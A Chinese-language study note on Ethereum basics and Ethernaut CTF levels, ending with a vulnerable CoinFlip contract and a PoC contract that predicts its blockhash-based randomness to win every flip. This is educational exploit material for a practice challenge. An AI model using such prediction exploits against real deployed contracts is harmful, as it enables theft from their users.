交互
以太坊生态
以太坊是一个去中心化,开源且具备智能合约功能的公共区块链平台.
钱包
助记词/Seed/私钥/公钥/地址
助记词—Seed种子(可逆)
生成私钥(单向)
生成公钥
生成地址
转账
智能合约
使以太网生态有图灵完备性
REMIX
使用的语言:solidity
inject Provider - MetaMask
连接Remix和MetaMask
刷题
The Ethernaut - Fallback
Fallback
智能合约也是账户,可以直接转账
Fallout
除了constructor函数以外,所有函数都可以调用,在0.8版本之前,如果拼错了构造函数,会导致这个函数可以被直接调用
Coin Flip
由于区块链中的很多数据是对所有人可见的,基于这些可见数据进行的伪随机可以很轻松地被预测到下一个随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() { consecutiveWins = 0; }
function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) { revert(); }
lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false;
if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
contract PoC { CoinFlip target; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target){ target = CoinFlip(_target); } function flip() public { uint256 blockValue = uint256(blockhash(block.number - 1));
lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; target.flip(side);
} }
|